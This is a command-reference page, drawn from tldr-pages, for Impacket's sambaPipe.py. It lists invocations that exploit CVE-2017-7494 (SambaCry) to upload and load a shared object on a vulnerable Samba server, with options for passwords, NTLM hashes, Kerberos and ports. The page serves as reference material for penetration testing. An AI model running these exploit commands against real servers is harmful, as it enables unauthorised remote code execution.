CmdID

CmdID / Commands

sambapipe.py

Exploit CVE-2017-7494 (SambaCry) to upload and load a shared object (SO) file on a vulnerable Samba server for remote code execution. tldr-pages

On several platforms

Opens CmdID with your command. It is read in your browser and sent nowhere.

Several platforms

from tldr-pages, CC BY 4.0

Exploit CVE-2017-7494 (SambaCry) to upload and load a shared object (SO) file on a vulnerable Samba server for remote code execution. Part of the Impacket suite.

Upload and load a shared object file on a vulnerable Samba server

sambaPipe.py -so path/to/file.so domain/username:password@targetIdentify

Authenticate using NTLM hashes instead of a password

sambaPipe.py -so path/to/file.so -hashes LM_HASH:NT_HASH domain/username:password@targetIdentify

Use Kerberos authentication for the target

sambaPipe.py -so path/to/file.so -k -no-pass domain/username:password@targetIdentify

Specify a domain controller IP for authentication

sambaPipe.py -so path/to/file.so -dc-ip dc_ip domain/username:password@targetIdentify

Use a custom port for the SMB connection

sambaPipe.py -so path/to/file.so -port port domain/username:password@targetIdentify